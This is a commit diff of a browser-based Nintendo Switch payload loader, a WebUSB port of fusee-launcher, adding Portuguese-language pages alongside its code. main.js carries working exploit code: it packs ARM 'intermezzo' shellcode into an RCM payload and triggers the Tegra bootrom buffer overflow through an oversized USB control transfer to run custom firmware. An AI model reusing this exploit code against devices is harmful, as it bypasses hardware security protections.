text-align: center;
}
.divider-line {
border-bottom: 1px solid gainsboro;
}
.margin-top-md {
margin-top: 24px;
}

101
main.js
View File

@ -7,10 +7,14 @@ const intermezzo = new Uint8Array([
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
]);
const RCM_PAYLOAD_ADDRESS = 0x40010000;
const INTERMEZZO_LOCATION = 0x4001F000;
const PAYLOAD_LOAD_BLOCK = 0x40020000;
function createRCMPayload(intermezzo, payload) {
const rcmLength = 0x30298;
@ -33,6 +37,8 @@ function createRCMPayload(intermezzo, payload) {
return rcmPayload;
}
function bufferToHex(data) {
let result = "";
for (let i = 0; i < data.byteLength; i++)
@ -40,6 +46,8 @@ function bufferToHex(data) {
return result;
}
async function write(device, data) {
let length = data.length;
let writeCount = 0;
@ -58,6 +66,8 @@ async function write(device, data) {
return writeCount;
}
function readFileAsArrayBuffer(file) {
return new Promise((res, rej) => {
const reader = new FileReader();
@ -68,16 +78,24 @@ function readFileAsArrayBuffer(file) {
});
}
function logOutput(...message) {
document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "<br>";
}
function clearLog() {
document.getElementById("output").innerHTML = "";
}
let device;
async function launchPayload(payload) {
await device.open();
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
@ -87,7 +105,6 @@ async function launchPayload(payload) {
const deviceID = await device.transferIn(1, 16);
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
const rcmPayload = createRCMPayload(intermezzo, payload);
logOutput("Sending payload...");
const writeCount = await write(device, rcmPayload);
@ -109,54 +126,26 @@ async function launchPayload(payload) {
}, vulnerabilityLength);
}
document.getElementById("goButton").addEventListener("click", async () => {
clearLog();
var debugCheckbox = document.getElementById("shouldDebug");
const payloadType = document.forms.mainForm.payload.value;
if(debugCheckbox.checked) {
logOutput("Logging payload bytes...");
let payload;
if (payloadType === "hekate v5") {
payload = hekate5;
} else if (payloadType === "hekate v4") {
payload = hekate4;
} else if (payloadType === "fusee") {
payload = fusee;
} else if (payloadType === "instaboot") {
payload = instaboot;
} else if (payloadType === "uploaded") {
const file = document.getElementById("payloadUpload").files[0];
if (!file) {
alert("You need to upload a file, to use an uploaded file.");
return;
}
payload = new Uint8Array(await readFileAsArrayBuffer(file));
} else {
logOutput("You're trying to load a payload type that doesn't exist.");
return;
}
var payloadToLog = "";
for (var i = 0; i < payload.length; i++) {
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
}
payloadToLog = payloadToLog.toUpperCase();
logOutput(payloadToLog);
return;
}
logOutput("Requesting access to device...");
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
logOutput(`<span style='color:blue'>Preparing to launch ${payloadType}...</span>`);
const payloadType = document.getElementById("payloadSelect").value;
let payload;
if (payloadType === "hekate v5") {
payload = hekate5;
} else if (payloadType === "hekate v4") {
payload = hekate4;
} else if (payloadType === "fusee") {
payload = fusee;
} else if (payloadType === "instaboot") {
payload = instaboot;
} else if (payloadType === "uploaded") {
const file = document.getElementById("payloadUpload").files[0];
if (!file) {
@ -169,23 +158,49 @@ document.getElementById("goButton").addEventListener("click", async () => {
return;
}
if(debugCheckbox.checked) {
logOutput("Logging payload bytes...");
var payloadToLog = "";
for (var i = 0; i < payload.length; i++) {
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
}
payloadToLog = payloadToLog.toUpperCase();
logOutput(payloadToLog);
return;
}
logOutput("Requesting access to device...");
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
logOutput(`<span style='color:blue'>Preparing to launch ${payloadType}...</span>`);
launchPayload(payload);
});
function onSelectChange() {
if (document.getElementById("payloadSelect").value === "uploaded")
document.getElementById("uploadContainer").style.display = "block"
else
document.getElementById("uploadContainer").style.display = "none"
}
function openInfo() {
if(document.getElementById("infodiv").innerHTML != "") {
document.getElementById("infodiv").innerHTML = "";
} else {
document.getElementById("infodiv").innerHTML = "<h4>Info:</h4><p>This is moderately tested. Although no issues have been discovered, I'm not responsible if anything goes wrong!</p><p>This does NOT work on Windows due to a limitation in the Chrome implementation of WebUSB (and probably other reasons!)</p><p>This does NOT currently work on any browser but Chrome, because they don't implement WebUSB.</p><p>On Linux, you might get an access denied error!If you do, you can try creating a file at <code>/etc/udev/rules.d/50-switch.rules</code>With the following contents:<br><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0955\", MODE=\"0664\", GROUP=\"plugdev\"</code></p><p>Hekate for 4.x has not been tested, as I do not have a 4.x switch. However, all other payloads will be tested as they are uploaded.</p><p>This has been tested and appears to work on Linux, OSX, Android (unrooted) and Chromebooks. Your mileage may vary.</p>";
}
}
}
function openInstructions() {
if(document.getElementById("infodiv").innerHTML != "") {
document.getElementById("infodiv").innerHTML = "";
} else {
document.getElementById("infodiv").innerHTML = "<h4>Instructions:</h4><p>Put the Switch in RCM, and connect it to your device.</p><p>Select either the example payload, or upload one.</p><p>Press 'Run Payload!'</p><p>On the consent screen that appears, select 'APX' and hit confirm.</p><p>If all goes well, the payload will launch!</p>";
}
}
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");

21
pt_BR/LICENSE Normal file
View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2018 atlas44
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

11
pt_BR/README.md Normal file
View File

@ -0,0 +1,11 @@
# web-cfw-loader
Fusee Launcher, in a browser!
# Description
This is a port of [fusee-launcher](https://github.com/reswitched/fusee-launcher) to JavaScript using WebUSB. This has been mildly tested and appears to work on Linux, Android (unrooted), OSX and ChromeOS. Today, this only works on Chrome because only Chrome implements WebUSB. It also does NOT work on Windows because the WebUSB Windows implementation does not allow sending the required USB packet.
# Forked
This is also a fork of [web-fusee-launcher](https://github.com/atlas44/web-fusee-launcher), which I fixed up a bit, added hekate 5 and 4, and did some CSS stuff.
# Try it out
Either use a web server to host the files (must be on https!) or you can try the [demo](https://elijahzawesome.github.io/web-cfw-loader/).

BIN
pt_BR/favicon.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 18 KiB

156
pt_BR/index.html Normal file
View File

@ -0,0 +1,156 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<link rel="stylesheet" type="text/css" href="style.css" />
<link href="favicon.png" rel="icon" type="image/x-icon" />
<title>Switch Payload Loader v1.2</title>
<!-- JQuery: needed for some Bootstrap Components -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<!-- Bootstrap 3 framework -->
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<!-- Optional theme -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
<!-- Latest compiled and minified JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
</head>
<body class="container-fluid">
<div class="row" id="title">
<h1>Nintendo Switch Payload Loader</h1>
<h4>Fusee Launcher portado para JavaScript usando WebUSB.</h4>
</div>
<div class="row margin-top-md">
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<div class="btn-group" role="group" aria-label="...">
<a class="btn btn-info" href="../index.html">English</a>
<a class="btn btn-info" href="../it_IT/index.html">Italiano</a>
<a class="btn btn-info disabled" href="#">Português</a>
</div>
</div>
</div>
<div class="row margin-top-md" id="infodiv">
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<div class="alert alert-danger" role="alert">
<p>Esta ferramenta não foi completamente testada. Apesar de não ter encontrado nenhuma falha, não me responsabilizo se algo der errado!</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>Isto NÃO funciona no Windows devido uma limitação do Chrome na implementação do WebUSB (e, possivelmente, outros motivos).</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>Isto NÃO funciona, atualmente, em nenhum browser além do Chrome, que é o único a implementar WebUSB.</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>No Linux você pode receber um erro de Acesso Negado! Caso receba, tente criar o arquivo <code>/etc/udev/rules.d/50-switch.rules</code> com o seguinte conteúdo: <br><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0955\", MODE=\"0664\", GROUP=\"plugdev\"</code></p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>Hekate 4.x NÃO foi testado, já que não tenho um Switch na versão 4.x. Entretanto todos os outros payloads serão testados antes de disponibilizados.</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>Isto foi testado -e aparentemente funciona- no Linux, OSX, Android (sem precisar de root) e Chromebooks. Resultados podem variar.</p>
</div>
<div class="alert alert-info" role="alert">
<h4>Instruções:</h4>
<ul>
<li>Coloque o Switch no modo RCM e conecte-o ao dispositivo.</li>
<li>Escolha um dos payloads disponíveis ou faça upload de um.</li>
<li>Clique em "Enviar Payload"!</li>
<li>No diálogo de confirmação escolha "APX" e clique em Confirmar</li>
<li>Se tudo der certo, o payload executará!</li>
</ul>
</div>
</div>
</div>
<div class="row">
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<h1>Configurar Entrega de Payload</h1>
<form id="mainForm">
<div class="row">
<div class="col-xs-6">
<h4>Payload:</h4>
</div>
<div class="col-xs-6">
<select class="pull-right" id="payloadSelect" onchange="onSelectChange()">
<option value="instaboot">Execução Instantânea CFW (5.0.x)</option>
<option value="hekate v5">Hekate para Switch ver. 5.0.X</option>
<option value="hekate v4">Hekate para Switch ver. 4.0.X</option>
<option value="fusee">Payload de teste do time (Re)Switched (fusee)</option>
<option value="uploaded">Upload de Payload</option>
</select>
</div>
</div>
<div class="row" id="uploadContainer" style="display: none">
<div class="row-xs-12">
<input style="float: right" type="file" id="payloadUpload" accept=".bin"/>
</div>
</div>
<div class="row divider-line"></div>
<div class="row margin-top-md">
<div class="col-xs-10">
<h4>Recuperar array de bytes do payload (favor não exploitar)</h4>
</div>
<div class="col-xs-2">
<input class="pull-right" type="checkbox" name="shouldDebug" id="shouldDebug">
</div>
</div>
<div class="row divider-line"></div>
</form>
<div class="row margin-top-md">
<div class="col-xs-12">
<button class="btn btn-primary btn-lg pull-right" id="goButton">Enviar Payload!</button>
</div>
</div>
</div>
</div>
<div class="row">
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<h3>Log:</h3>
<div id="output"></div>
<button class="btn btn-primary pull-right margin-top-md" id="clearlogsbutton" onclick="clearLog();">Limpar Logs</button><br><br>
</div>
</div>
<script src="./payloads.js"></script>
<script src="./main.js"></script>
</body>
<div class="row margin-top-md" id="page-footer">
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<div id="disclaimer">
<p>Código fonte disponível em <a href="https://github.com/ElijahZAwesome/web-cfw-loader/">GitHub</a> (ou simplesmente clicando 'ver código', não há backend).</p>
<p>Um port do <a href="https://github.com/reswitched/fusee-launcher">fusee-launcher</a>.</p>
<p>Muito obrigado a Ktemkin e time (Re)Switched, bem como <br><a href="https://atlas44.s3-us-west-2.amazonaws.com/web-fusee-launcher/index.html">Atlas44 e seu website</a> que é a base deste.</p>
</div>
</div>
</div>
</html>

206
pt_BR/main.js Normal file
View File

@ -0,0 +1,206 @@
const intermezzo = new Uint8Array([
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
]);
const RCM_PAYLOAD_ADDRESS = 0x40010000;
const INTERMEZZO_LOCATION = 0x4001F000;
const PAYLOAD_LOAD_BLOCK = 0x40020000;
function createRCMPayload(intermezzo, payload) {
const rcmLength = 0x30298;
const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
const rcmPayloadSize = Math.ceil((0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000 + payload.byteLength) / 0x1000) * 0x1000;
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize))
const rcmPayloadView = new DataView(rcmPayload.buffer);
rcmPayloadView.setUint32(0x0, rcmLength, true);
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
rcmPayloadView.setUint32(0x2A8 + i * 4, INTERMEZZO_LOCATION, true);
}
rcmPayload.set(intermezzo, 0x2A8 + (0x4 * intermezzoAddressRepeatCount));
rcmPayload.set(payload, 0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000);
return rcmPayload;
}
function bufferToHex(data) {
let result = "";
for (let i = 0; i < data.byteLength; i++)
result += data.getUint8(i).toString(16).padStart(2, "0");
return result;
}
async function write(device, data) {
let length = data.length;
let writeCount = 0;
const packetSize = 0x1000;
while (length) {
const dataToTransmit = Math.min(length, packetSize);
length -= dataToTransmit;
const chunk = data.slice(0, dataToTransmit);
data = data.slice(dataToTransmit);
await device.transferOut(1, chunk);
writeCount++;
}
return writeCount;
}
function readFileAsArrayBuffer(file) {
return new Promise((res, rej) => {
const reader = new FileReader();
reader.onload = e => {
res(e.target.result);
}
reader.readAsArrayBuffer(file);
});
}
function logOutput(...message) {
document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "<br>";
}
function clearLog() {
document.getElementById("output").innerHTML = "";
}
let device;
async function launchPayload(payload) {
await device.open();
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
await device.claimInterface(0);
const deviceID = await device.transferIn(1, 16);
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
const rcmPayload = createRCMPayload(intermezzo, payload);
logOutput("Sending payload...");
const writeCount = await write(device, rcmPayload);
logOutput("Payload sent!");
if (writeCount % 2 !== 1) {
logOutput("Switching to higher buffer...");
await device.transferOut(1, new ArrayBuffer(0x1000));
}
logOutput("Trigging vulnerability...");
const vulnerabilityLength = 0x7000;
const smash = await device.controlTransferIn({
requestType: 'standard',
recipient: 'interface',
request: 0x00,
value: 0x00,
index: 0x00
}, vulnerabilityLength);
}
document.getElementById("goButton").addEventListener("click", async () => {
clearLog();
var debugCheckbox = document.getElementById("shouldDebug");
const payloadType = document.getElementById("payloadSelect").value;
let payload;
if (payloadType === "hekate v5") {
payload = hekate5;
} else if (payloadType === "hekate v4") {
payload = hekate4;
} else if (payloadType === "fusee") {
payload = fusee;
} else if (payloadType === "instaboot") {
payload = instaboot;
} else if (payloadType === "uploaded") {
const file = document.getElementById("payloadUpload").files[0];
if (!file) {
alert("You need to upload a file, to use an uploaded file.");
return;
}
payload = new Uint8Array(await readFileAsArrayBuffer(file));
} else {
logOutput("<span style='color:red'>You're trying to load a payload type that doesn't exist.</span>");
return;
}
if(debugCheckbox.checked) {
logOutput("Logging payload bytes...");
var payloadToLog = "";
for (var i = 0; i < payload.length; i++) {
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
}
payloadToLog = payloadToLog.toUpperCase();
logOutput(payloadToLog);
return;
}
logOutput("Requesting access to device...");
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
logOutput(`<span style='color:blue'>Preparing to launch ${payloadType}...</span>`);
launchPayload(payload);
});
function onSelectChange() {
if (document.getElementById("payloadSelect").value === "uploaded")
document.getElementById("uploadContainer").style.display = "block"
else
document.getElementById("uploadContainer").style.display = "none"
}
function openInfo() {
if(document.getElementById("infodiv").innerHTML != "") {
document.getElementById("infodiv").innerHTML = "";
}
}
function openInstructions() {
if(document.getElementById("infodiv").innerHTML != "") {
document.getElementById("infodiv").innerHTML = "";
}
}
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");

2397
pt_BR/payloads.js Normal file
View File

File diff suppressed because one or more lines are too long

45
pt_BR/style.css Normal file
View File

@ -0,0 +1,45 @@
@import url('https://fonts.googleapis.com/css?family=Open+Sans');
body {
margin-top: 0px;
margin-left: 0px;
margin-right: auto;
font-family: 'Open Sans', sans-serif;
}
#title {
text-align: center;
font-size: 1.5vw;
padding-top: 10vw;
padding-bottom: 10vw;
background-size: cover;
background-color: black;
background-image: url("https://icdn1.digitaltrends.com/image/nintendo-switch-review-photos-pdx-580.jpg");
color: white;
margin-top: 0px;
top: 0px;
}
#output {
height: 200px;
border: 1px solid black;
overflow: scroll;
}
#page-footer {
padding: 32px;
background: #222528;
color: whitesmoke;
}
#disclaimer {
text-align: center;
}
.divider-line {
border-bottom: 1px solid gainsboro;
}
.margin-top-md {
margin-top: 24px;
}

43
style.css
View File

@ -4,7 +4,6 @@ body {
margin-top: 0px;
margin-left: 0px;
margin-right: auto;
text-align: center;
font-family: 'Open Sans', sans-serif;
}
@ -17,44 +16,30 @@ body {
background-color: black;
background-image: url("https://icdn1.digitaltrends.com/image/nintendo-switch-review-photos-pdx-580.jpg");
color: white;
width: 100%;
margin-top: 0px;
top: 0px;
}
#output {
margin-left: 0px;
width: 700px;
height: 200px;
border: 1px solid black;
margin-right: 0px;
margin: auto;
overflow: scroll;
}
.btn {
background: #3498db;
background-image: -webkit-linear-gradient(top, #3498db, #2980b9);
background-image: -moz-linear-gradient(top, #3498db, #2980b9);
background-image: -ms-linear-gradient(top, #3498db, #2980b9);
background-image: -o-linear-gradient(top, #3498db, #2980b9);
background-image: linear-gradient(to bottom, #3498db, #2980b9);
-webkit-border-radius: 12;
-moz-border-radius: 12;
border-radius: 12px;
font-family: Arial;
color: #ffffff;
font-size: 23px;
padding: 12px 20px 10px 20px;
text-decoration: none;
#page-footer {
padding: 32px;
background: #222528;
color: whitesmoke;
}
.btn:hover {
background: #3cb0fd;
background-image: -webkit-linear-gradient(top, #3cb0fd, #3498db);
background-image: -moz-linear-gradient(top, #3cb0fd, #3498db);
background-image: -ms-linear-gradient(top, #3cb0fd, #3498db);
background-image: -o-linear-gradient(top, #3cb0fd, #3498db);
background-image: linear-gradient(to bottom, #3cb0fd, #3498db);
text-decoration: none;
#disclaimer {
text-align: center;
}
.divider-line {
border-bottom: 1px solid gainsboro;
}
.margin-top-md {
margin-top: 24px;
}